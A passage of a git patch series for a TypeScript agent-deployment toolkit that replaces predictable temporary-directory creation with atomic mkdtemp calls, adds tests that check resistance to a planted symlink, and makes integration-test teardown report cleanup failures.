{A2A_AUTH_TOKEN_ENV_VAR} from '../../server/adk_api_server.js'; import {AgentLoader} from '../../utils/agent_loader.js'; -import {isFile, isFolderExists} from '../../utils/file_utils.js'; +import {createTempDir, isFile, isFolderExists} from '../../utils/file_utils.js'; import { BaseDeployOptions, CreateDockerFileContentOptions, @@ -84,8 +84,6 @@ function prepareGCloudArguments(options: DeployToCloudRunOptions): string[] { 'run', 'deploy', options.serviceName, - '--source', - options.tempFolder, '--project', options.project, ...regionOptions, @@ -152,6 +150,9 @@ export async function deployToCloudRun(options: DeployToCloudRunOptions) { ); } + // Built before any directory is created: a conflicting extra gcloud arg + // throws out of deployToCloudRun, and there is no `finally` this early to + // remove a temp folder. const gcloudCommands = prepareGCloudArguments(options); if (options.a2a && !options.a2aAuthToken) { @@ -181,23 +182,24 @@ export async function deployToCloudRun(options: DeployToCloudRunOptions) { console.info('Starting deployment to Cloud Run...'); - if (await isFolderExists(options.tempFolder)) { + const tempFolder = + options.tempFolder ?? (await createTempDir('cloud_run_deploy_src')); + gcloudCommands.push('--source', tempFolder); + + if (options.tempFolder && (await isFolderExists(tempFolder))) { console.info('Cleaning up existing temporary files...'); - await fs.rm(options.tempFolder, {recursive: true, force: true}); + await fs.rm(tempFolder, {recursive: true, force: true}); } try { console.info('Copying agent source files...'); - await copyAgentFiles( - agentLoader, - path.join(options.tempFolder, 'agents', appName), - ); + await copyAgentFiles(agentLoader, path.join(tempFolder, 'agents', appName)); console.info('Creating package.json...'); - await createPackageJson(agentDir, options.tempFolder); + await createPackageJson(agentDir, tempFolder); console.info('Creating Dockerfile...'); - await createDockerFile(options.tempFolder, { + await createDockerFile(tempFolder, { appName, project: options.project, region: options.region, @@ -219,7 +221,7 @@ export async function deployToCloudRun(options: DeployToCloudRunOptions) { ); } finally { console.info('Cleaning up temporary files...'); - await fs.rm(options.tempFolder, {recursive: true, force: true}); + await fs.rm(tempFolder, {recursive: true, force: true}); await agentLoader.disposeAll(); console.info('Temporary files cleaned up.'); } diff --git a/dev/src/cli/deploy/deploy_utils.ts b/dev/src/cli/deploy/deploy_utils.ts index 41316b674..ff405d5a9 100644 --- a/dev/src/cli/deploy/deploy_utils.ts +++ b/dev/src/cli/deploy/deploy_utils.ts @@ -51,7 +51,12 @@ export interface CreateDockerFileContentOptions { export interface BaseDeployOptions extends CreateDockerFileContentOptions { agentPath: string; - tempFolder: string; + /** + * Directory the generated deployment sources are staged in. When omitted, the + * deploy command creates a private temporary directory for the run and + * removes it when the deployment finishes. + */ + tempFolder?: string; adkVersion: string; agentFileLoadOptions?: AgentFileOptions; } diff --git a/dev/src/utils/agent_loader.ts b/dev/src/utils/agent_loader.ts index 448a32aeb..d5097c482 100644 --- a/dev/src/utils/agent_loader.ts +++ b/dev/src/utils/agent_loader.ts @@ -16,7 +16,7 @@ import * as path from 'node:path'; import {pathToFileURL} from 'node:url'; import { - getTempDir, + createTempDir, isFile, isFileExists, isFolderExists, @@ -169,13 +169,12 @@ export class AgentFile { const moduleType = this.options.moduleType || (await getFileModuleType(filePath)); const parsedPath = path.parse(filePath); - const outputDir = getTempDir('adk_agent_loader'); + const outputDir = await createTempDir('adk_agent_loader'); const compiledFilePath = path.join( outputDir, parsedPath.name + FILE_MODULE_TYPE_EXTENSION_MAP[moduleType], ); const originalDir = path.dirname(filePath); - await fsPromises.mkdir(outputDir, {recursive: true}); await linkProjectNodeModules(outputDir, parsedPath.dir); await esbuild.build({ @@ -187,7 +186,6 @@ export class AgentFile { packages: 'bundle', bundle: this.options.bundle, minify: this.options.bundle, - allowOverwrite: true, plugins: [replaceDirnamePlugin(filePath, originalDir), shimPlugin()], // See http://mikro-orm.io/docs/deployment#deploy-a-bundle-of-entities-and-dependencies-with-esbuild for more details external: [ diff --git a/dev/src/utils/file_utils.ts b/dev/src/utils/file_utils.ts index 43998bcc6..05d3167ba 100644 --- a/dev/src/utils/file_utils.ts +++ b/dev/src/utils/file_utils.ts @@ -4,7 +4,6 @@ * SPDX-License-Identifier: Apache-2.0 */ -import * as crypto from 'node:crypto'; import * as fs from 'node:fs/promises'; import * as os from 'node:os'; import * as path from 'node:path'; @@ -100,20 +99,20 @@ export async function saveToFile(filePath: string, data: T): Promise { } /** - * Return a temporary directory path. - * @param prefix Optional prefix for the temp directory - * @returns + * Atomically creates a private temporary directory and returns its path. + * + * The directory is created by a single `mkdtemp` call directly under the system + * temp root, with a random name and, on POSIX, mode 0700. Composing the path + * from a fixed prefix and materialising it later with a recursive `mkdir` would + * leave a predictable intermediate directory that another local user can + * pre-create or replace with a symlink, placing everything written afterwards + * under their control. + * + * @param prefix Name prefix for the directory. Must be a single path segment. + * @returns The absolute path of the newly created directory. */ -export function getTempDir(prefix?: string): string { - const pathParts = [os.tmpdir()]; - - if (prefix) { - pathParts.push(prefix); - } - - pathParts.push(crypto.randomUUID()); - - return path.join(...pathParts); +export async function createTempDir(prefix: string): Promise { + return fs.mkdtemp(path.join(os.tmpdir(), `${prefix}-`)); } /** diff --git a/dev/test/cli/cli_deploy_agent_engine_test.ts b/dev/test/cli/cli_deploy_agent_engine_test.ts index f20519350..d7121e9be 100644 --- a/dev/test/cli/cli_deploy_agent_engine_test.ts +++ b/dev/test/cli/cli_deploy_agent_engine_test.ts @@ -14,6 +14,7 @@ import { } from '../../src/cli/deploy/cli_deploy_agent_engine.js'; import {AgentLoader} from '../../src/utils/agent_loader.js'; import { + createTempDir, isFile, isFolderExists, loadFileData, @@ -130,6 +131,7 @@ vi.mock('../../src/utils/agent_loader.js', () => ({ })); vi.mock('../../src/utils/file_utils.js', () => ({ + createTempDir: vi.fn(), isFile: vi.fn(), isFolderExists: vi.fn(), loadFileData: vi.fn(), @@ -300,6 +302,25 @@ describe('deployToAgentEngine', () => { expect(exists).toBe(false); }); + it('should create a private temp folder when none is supplied', async () => { + const createdTempFolder = await fs.mkdtemp( + path.join(os.tmpdir(), 'agent_engine_deploy_src-'), + ); + globalThis.fsMockTempFolder = createdTempFolder; + (createTempDir as Mock).mockResolvedValue(createdTempFolder); + + await deployToAgentEngine({...defaultOptions, tempFolder: undefined}); + + expect(createTempDir).toHaveBeenCalledWith('agent_engine_deploy_src'); + expect(spawnMock).toHaveBeenCalledWith( + 'gcloud', + expect.arrayContaining(['builds', 'submit', createdTempFolder]), + expect.any(Object), + ); + expect(isFolderExists).not.toHaveBeenCalled(); + await expect(fs.access(createdTempFolder)).rejects.toThrow(); + }); + it('should deploy successfully with all optional parameters', async () => { const optionsWithAll: DeployToAgentEngineOptions = { ...defaultOptions, diff --git a/dev/test/cli/cli_deploy_cloud_run_test.ts b/dev/test/cli/cli_deploy_cloud_run_test.ts index 121a561ce..e24ff4bc3 100644 --- a/dev/test/cli/cli_deploy_cloud_run_test.ts +++ b/dev/test/cli/cli_deploy_cloud_run_test.ts @@ -14,6 +14,7 @@ import { import {A2A_AUTH_TOKEN_ENV_VAR} from '../../src/server/adk_api_server.js'; import {AgentLoader} from '../../src/utils/agent_loader.js'; import { + createTempDir, isFile, isFolderExists, loadFileData, @@ -57,6 +58,7 @@ vi.mock('../../src/utils/agent_loader.js', () => ({ })); vi.mock('../../src/utils/file_utils.js', () => ({ + createTempDir: vi.fn(), isFile: vi.fn(), isFolderExists: vi.fn(), loadFileData: vi.fn(), @@ -343,6 +345,22 @@ describe('deployToCloudRun', () => { ); }); + it('should create a private temp folder when none is supplied', async () => { + const createdTempFolder = '/tmp/cloud_run_deploy_src-abc123'; + (createTempDir as Mock).mockResolvedValue(createdTempFolder); + + await deployToCloudRun({...defaultOptions, tempFolder: undefined}); + + expect(createTempDir).toHaveBeenCalledWith('cloud_run_deploy_src'); + expect(spawnMock.mock.calls[0][1]).toContain(createdTempFolder); + expect(isFolderExists).not.toHaveBeenCalled(); + expect(fs.rm).toHaveBeenCalledTimes(1); + expect(fs.rm).toHaveBeenCalledWith(createdTempFolder, { + recursive: true, + force: true, + }); + }); + it('should clean up existing temp folder before deploying', async () => { (isFolderExists as Mock).mockResolvedValue(true); @@ -428,6 +446,19 @@ describe('deployToCloudRun', () => { }, ); + it('should not create a temp folder when the gcloud args are rejected', async () => { + await expect( + deployToCloudRun({ + ...defaultOptions, + tempFolder: undefined, + extraGcloudArgs: ['--project=other'], + }), + ).rejects.toThrow(/conflict with ADK's automatic configuration/); + + expect(createTempDir).not.toHaveBeenCalled(); + expect(fs.rm).not.toHaveBeenCalled(); + }); + it('should still allow user env-var flags when no A2A token is given', async () => { await deployToCloudRun({ ...defaultOptions, diff --git a/dev/test/cli/cli_test.ts b/dev/test/cli/cli_test.ts index 75d003802..f0f940e99 100644 --- a/dev/test/cli/cli_test.ts +++ b/dev/test/cli/cli_test.ts @@ -278,6 +278,14 @@ describe('CLI Entrypoint', () => { ); }); + it('should leave tempFolder unset so no temp directory is created eagerly', async () => { + await parse(['deploy', 'cloud_run']); + + expect( + (deployToCloudRun as Mock).mock.calls[0][0].tempFolder, + ).toBeUndefined(); + }); + it('should pass args to deployToCloudRun including unknowns', async () => { const args = [ 'deploy', @@ -350,6 +358,14 @@ describe('CLI Entrypoint', () => { ); }); + it('should leave tempFolder unset so no temp directory is created eagerly', async () => { + await parse(['deploy', 'agent_engine']); + + expect( + (deployToAgentEngine as Mock).mock.calls[0][0].tempFolder, + ).toBeUndefined(); + }); + it('should pass args to deployToAgentEngine', async () => { const args = [ 'deploy', diff --git a/dev/test/utils/agent_loader_test.ts b/dev/test/utils/agent_loader_test.ts index d53160d9d..2285df895 100644 --- a/dev/test/utils/agent_loader_test.ts +++ b/dev/test/utils/agent_loader_test.ts @@ -29,7 +29,7 @@ import { import * as fileUtils from '../../src/utils/file_utils.js'; vi.mock('../../src/utils/file_utils.js', () => ({ - getTempDir: vi.fn(), + createTempDir: vi.fn(), isFile: vi.fn(), isFileExists: vi.fn(), isFolderExists: vi.fn(), @@ -161,7 +161,10 @@ describe('AgentLoader', () => { }); beforeEach(async () => { - (fileUtils.getTempDir as Mock).mockImplementation(() => tempLoaderDir); + (fileUtils.createTempDir as Mock).mockImplementation(async () => { + await fs.mkdir(tempLoaderDir, {recursive: true}); + return tempLoaderDir; + }); (fileUtils.isFile as Mock).mockImplementation(async (filePath) => { try { const stat = await fs.stat(filePath as string); @@ -281,7 +284,6 @@ describe('AgentLoader', () => { packages: 'bundle', bundle: true, minify: true, - allowOverwrite: true, external: expect.arrayContaining(['onnxruntime-node']), }); @@ -289,6 +291,27 @@ describe('AgentLoader', () => { await expect(fs.access(compiledAgentPath)).rejects.toThrow(); }); + it('compiles into a private temp dir without allowing overwrite', async () => { + const agentPath = path.join(tempAgentsDir, 'agent1.js'); + await fs.writeFile(agentPath, agent1JsContent); + + const compiledAgentPath = compiledPath('agent1.cjs'); + (esbuild.build as Mock).mockImplementation(async () => { + await fs.writeFile(compiledAgentPath, agent1JsContent); + return Promise.resolve(); + }); + + const agentFile = new AgentFile(agentPath); + await agentFile.load(); + + expect(fileUtils.createTempDir).toHaveBeenCalledWith('adk_agent_loader'); + expect( + (esbuild.build as Mock).mock.calls[0][0].allowOverwrite, + ).toBeUndefined(); + + await agentFile.dispose(); + }); + it('throws if rootAgent is not found', async () => { const agentPath = path.join(tempAgentsDir, 'bad_agent.js'); await fs.writeFile(agentPath, 'exports.someOther = 1;'); @@ -643,13 +666,10 @@ describe('AgentLoader', () => { describe('AgentLoader', () => { beforeEach(async () => { - let loaderOutputDirIndex = 0; - (fileUtils.getTempDir as Mock).mockImplementation(() => - path.join( - tempLoaderDir, - `agent-${Date.now()}-${Math.random().toString(36).slice(2)}-${loaderOutputDirIndex++}`, - ), - ); + (fileUtils.createTempDir as Mock).mockImplementation(async () => { + await fs.mkdir(tempLoaderDir, {recursive: true}); + return fs.mkdtemp(path.join(tempLoaderDir, 'agent-')); + }); await fs.writeFile( path.join(tempAgentsDir, 'agent1.js'), diff --git a/dev/test/utils/file_utils_temp_dir_test.ts b/dev/test/utils/file_utils_temp_dir_test.ts new file mode 100644 index 000000000..6de6f5b1c --- /dev/null +++ b/dev/test/utils/file_utils_temp_dir_test.ts @@ -0,0 +1,114 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +// These cases run against the real filesystem. They cannot live in +// file_utils_test.ts, which mocks `node:fs/promises` module-wide and therefore +// makes the actual `mkdtemp` behaviour under test here unobservable. + +import {randomUUID} from 'node:crypto'; +import * as fs from 'node:fs/promises'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import {afterEach, describe, expect, it} from 'vitest'; + +import {createTempDir} from '../../src/utils/file_utils.js'; + +describe('createTempDir', () => { + const createdDirs: string[] = []; + const plantedLinks: string[] = []; + let prefix = ''; + + function trackedPrefix(): string { + prefix = `adk_test_${randomUUID()}`; + return prefix; + } + + async function create(): Promise { + const dir = await createTempDir(prefix); + createdDirs.push(dir); + return dir; + } + + afterEach(async () => { + for (const link of plantedLinks.splice(0)) { + await fs.unlink(link); + } + for (const dir of createdDirs.splice(0)) { + await fs.rm(dir, {recursive: true, force: true}); + } + }); + + it('returns a directory that exists and is empty', async () => { + trackedPrefix(); + + const dir = await create(); + + expect((await fs.stat(dir)).isDirectory()).toBe(true); + expect(await fs.readdir(dir)).toHaveLength(0); + }); + + it('creates the directory directly under the temp root', async () => { + trackedPrefix(); + + const dir = await create(); + + expect(path.dirname(dir)).toBe(path.resolve(os.tmpdir())); + expect(path.basename(dir).startsWith(`${prefix}-`)).toBe(true); + }); + + it('creates no predictable intermediate directory', async () => { + trackedPrefix(); + + await create(); + + await expect(fs.stat(path.join(os.tmpdir(), prefix))).rejects.toThrow(); + }); + + it.skipIf(process.platform === 'win32')( + 'creates the directory private to the current user', + async () => { + trackedPrefix(); + + const dir = await create(); + + expect((await fs.stat(dir)).mode & 0o777).toBe(0o700); + }, + ); + + it('returns a distinct directory on every call', async () => { + trackedPrefix(); + + const first = await create(); + const second = await create(); + + expect(first).not.toBe(second); + expect((await fs.stat(first)).isDirectory()).toBe(true); + expect((await fs.stat(second)).isDirectory()).toBe(true); + }); + + it.skipIf(process.platform === 'win32')( + 'ignores a symlink planted at the predictable parent path', + async () => { + trackedPrefix(); + const attackerDir = await fs.mkdtemp( + path.join(os.tmpdir(), 'adk_test_attacker-'), + ); + createdDirs.push(attackerDir); + const link = path.join(os.tmpdir(), prefix); + await fs.symlink(attackerDir, link); + plantedLinks.push(link); + expect(await fs.realpath(link)).toBe(await fs.realpath(attackerDir)); + + const dir = await create(); + + expect(path.dirname(dir)).toBe(path.resolve(os.tmpdir())); + expect(path.dirname(await fs.realpath(dir))).not.toBe( + await fs.realpath(attackerDir), + ); + expect(await fs.readdir(attackerDir)).toHaveLength(0); + }, + ); +}); diff --git a/dev/test/utils/file_utils_test.ts b/dev/test/utils/file_utils_test.ts index 8bd5dfdcd..2f2747730 100644 --- a/dev/test/utils/file_utils_test.ts +++ b/dev/test/utils/file_utils_test.ts @@ -7,7 +7,7 @@ import * as path from 'node:path'; import {afterEach, beforeEach, describe, expect, it, Mock, vi} from 'vitest'; import { - getTempDir, + createTempDir, isFile, isFileExists, isFolderExists, @@ -25,6 +25,7 @@ vi.mock('node:fs/promises', async () => { access: vi.fn(), stat: vi.fn(), mkdir: vi.fn(), + mkdtemp: vi.fn(), rm: vi.fn(), readdir: vi.fn(), }; @@ -44,6 +45,7 @@ describe('file_utils', () => { access: Mock; stat: Mock; mkdir: Mock; + mkdtemp: Mock; rm: Mock; readdir: Mock; }; @@ -61,6 +63,7 @@ describe('file_utils', () => { access: Mock; stat: Mock; mkdir: Mock; + mkdtemp: Mock; rm: Mock; readdir: Mock; }; @@ -122,15 +125,15 @@ describe('file_utils', () => { ); }); - it('getTempDir uses os.tmpdir and optional prefix and crypto.randomUUID', () => { + it('createTempDir creates the directory atomically under os.tmpdir', async () => { osMock.tmpdir.mockReturnValue('/tmp'); - const dir = getTempDir('myprefix'); - const basename = path.basename(dir); - const parentDir = path.dirname(dir); + fsPromises.mkdtemp.mockResolvedValue('/tmp/myprefix-a1b2c3'); - expect(parentDir).toBe(path.join('/tmp', 'myprefix')); - expect(basename).toMatch( - /^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/, + await expect(createTempDir('myprefix')).resolves.toBe( + '/tmp/myprefix-a1b2c3', + ); + expect(fsPromises.mkdtemp).toHaveBeenCalledWith( + path.join('/tmp', 'myprefix-'), ); }); From 1b9d3179703b06af4d4dbc749906b052769677f3 Mon Sep 17 00:00:00 2001 From: Amaad Martin Date: Tue, 4 Aug 2026 16:22:59 -0700 Subject: [PATCH 10/11] Fix: report fixture cleanup failures in agent_loader and script_js integration teardown Both afterAll hooks discarded every removal error with .catch(() => {}), so a failed node_modules teardown (EBUSY/EPERM on Windows is the realistic case) left the fixture dirty with no diagnostic at all. Wrap each hook's removals in a single try/catch that reports the failure with console.error and still resolves, so a benign cleanup failure stays non-fatal but stops being invisible. Convert the two fs.unlink(package-lock.json) calls to fs.rm(..., {force: true}) so an absent lockfile remains a non-event rather than becoming logged ENOENT noise now that errors are surfaced. Per-test TEST_EXECUTION_TIMEOUT values and every it() body are untouched. --- .../agent_loader/agent_dirname_test.ts | 16 ++++++------ .../skills/script_js/agent_test.ts | 25 +++++++++++-------- 2 files changed, 23 insertions(+), 18 deletions(-) diff --git a/tests/integration/agent_loader/agent_dirname_test.ts b/tests/integration/agent_loader/agent_dirname_test.ts index 1e71a3a1d..54c4a6e5e 100644 --- a/tests/integration/agent_loader/agent_dirname_test.ts +++ b/tests/integration/agent_loader/agent_dirname_test.ts @@ -47,15 +47,17 @@ describe.each(['__dirname', '__filename', 'import_meta_url'])( ); afterAll(async () => { - await fs - .rm(path.join(projectPath, 'node_modules'), { + try { + await fs.rm(path.join(projectPath, 'node_modules'), { recursive: true, force: true, - }) - .catch(() => {}); - await fs - .unlink(path.join(projectPath, 'package-lock.json')) - .catch(() => {}); + }); + await fs.rm(path.join(projectPath, 'package-lock.json'), {force: true}); + } catch (error) { + // Reported, not thrown: a dirty fixture must be visible, but teardown + // failing must not turn a green suite red. + console.error(`Fixture cleanup failed for ${projectPath}:`, error); + } }, TEST_EXECUTION_TIMEOUT); }, ); diff --git a/tests/integration/skills/script_js/agent_test.ts b/tests/integration/skills/script_js/agent_test.ts index b17df2c86..790189587 100644 --- a/tests/integration/skills/script_js/agent_test.ts +++ b/tests/integration/skills/script_js/agent_test.ts @@ -93,16 +93,19 @@ describe('Agent with skills that generates JS script and runs it locally', () => ); afterAll(async () => { - // delete generated files - await fs - .rm(`${PROJECT_PATH}/ephemeral_entanglement.md`, {force: true}) - .catch(() => {}); - await fs.rm(`${PROJECT_PATH}/index.html`, {force: true}).catch(() => {}); - await fs.rm(`${PROJECT_PATH}/sketch.js`, {force: true}).catch(() => {}); - - await fs - .rm(`${PROJECT_PATH}/node_modules`, {recursive: true, force: true}) - .catch(() => {}); - await fs.unlink(`${PROJECT_PATH}/package-lock.json`).catch(() => {}); + try { + await fs.rm(`${PROJECT_PATH}/ephemeral_entanglement.md`, {force: true}); + await fs.rm(`${PROJECT_PATH}/index.html`, {force: true}); + await fs.rm(`${PROJECT_PATH}/sketch.js`, {force: true}); + await fs.rm(`${PROJECT_PATH}/node_modules`, { + recursive: true, + force: true, + }); + await fs.rm(`${PROJECT_PATH}/package-lock.json`, {force: true}); + } catch (error) { + // Reported, not thrown: a dirty fixture must be visible, but teardown + // failing must not turn a green suite red. + console.error(`Fixture cleanup failed for ${PROJECT_PATH}:`, error); + } }); }); From dcc761180b41d6ac5bf04e8fe3312d61346d4da5 Mon Sep 17 00:00:00 2001 From: Amaad Martin Date: Tue, 4 Aug 2026 17:07:43 -0700 Subject: [PATCH 11/11] Fix: keep each fixture removal independent while reporting its failure The previous revision collapsed every removal in each teardown hook behind a single try/catch. That made each step conditional on all earlier ones, which the per-call .catch(() => {}) it replaced did not: the realistic failure named in the original change (EBUSY/EPERM on the Windows node_modules removal) is the first removal in both hooks, so a cleanup failure would additionally strand package-lock.json in agent_dirname_test.ts, and skip node_modules entirely in agent_test.ts if an earlier generated-file removal failed. Loop over the removal targets and attach a reporting handler to each call, so every removal still runs and each failure names the target it belongs to. recursive: true is a no-op on a file path, so one call form covers both files and directories and the rationale comment stops being duplicated per removal. --- .../agent_loader/agent_dirname_test.ts | 22 ++++++++------- .../skills/script_js/agent_test.ts | 28 ++++++++++--------- 2 files changed, 27 insertions(+), 23 deletions(-) diff --git a/tests/integration/agent_loader/agent_dirname_test.ts b/tests/integration/agent_loader/agent_dirname_test.ts index 54c4a6e5e..8b2374439 100644 --- a/tests/integration/agent_loader/agent_dirname_test.ts +++ b/tests/integration/agent_loader/agent_dirname_test.ts @@ -47,16 +47,18 @@ describe.each(['__dirname', '__filename', 'import_meta_url'])( ); afterAll(async () => { - try { - await fs.rm(path.join(projectPath, 'node_modules'), { - recursive: true, - force: true, - }); - await fs.rm(path.join(projectPath, 'package-lock.json'), {force: true}); - } catch (error) { - // Reported, not thrown: a dirty fixture must be visible, but teardown - // failing must not turn a green suite red. - console.error(`Fixture cleanup failed for ${projectPath}:`, error); + // Reported, not thrown: a dirty fixture must be visible, but a failed + // teardown must not turn a green suite red. Each removal is independent + // so an early failure cannot skip the rest. + for (const target of ['node_modules', 'package-lock.json']) { + await fs + .rm(path.join(projectPath, target), {recursive: true, force: true}) + .catch((error: unknown) => + console.error( + `Cleanup failed for ${projectPath}/${target}:`, + error, + ), + ); } }, TEST_EXECUTION_TIMEOUT); }, diff --git a/tests/integration/skills/script_js/agent_test.ts b/tests/integration/skills/script_js/agent_test.ts index 790189587..dc73b6c94 100644 --- a/tests/integration/skills/script_js/agent_test.ts +++ b/tests/integration/skills/script_js/agent_test.ts @@ -93,19 +93,21 @@ describe('Agent with skills that generates JS script and runs it locally', () => ); afterAll(async () => { - try { - await fs.rm(`${PROJECT_PATH}/ephemeral_entanglement.md`, {force: true}); - await fs.rm(`${PROJECT_PATH}/index.html`, {force: true}); - await fs.rm(`${PROJECT_PATH}/sketch.js`, {force: true}); - await fs.rm(`${PROJECT_PATH}/node_modules`, { - recursive: true, - force: true, - }); - await fs.rm(`${PROJECT_PATH}/package-lock.json`, {force: true}); - } catch (error) { - // Reported, not thrown: a dirty fixture must be visible, but teardown - // failing must not turn a green suite red. - console.error(`Fixture cleanup failed for ${PROJECT_PATH}:`, error); + // Reported, not thrown: a dirty fixture must be visible, but a failed + // teardown must not turn a green suite red. Each removal is independent so + // an early failure cannot skip the rest. + for (const target of [ + 'ephemeral_entanglement.md', + 'index.html', + 'sketch.js', + 'node_modules', + 'package-lock.json', + ]) { + await fs + .rm(`${PROJECT_PATH}/${target}`, {recursive: true, force: true}) + .catch((error: unknown) => + console.error(`Cleanup failed for ${PROJECT_PATH}/${target}:`, error), + ); } }); });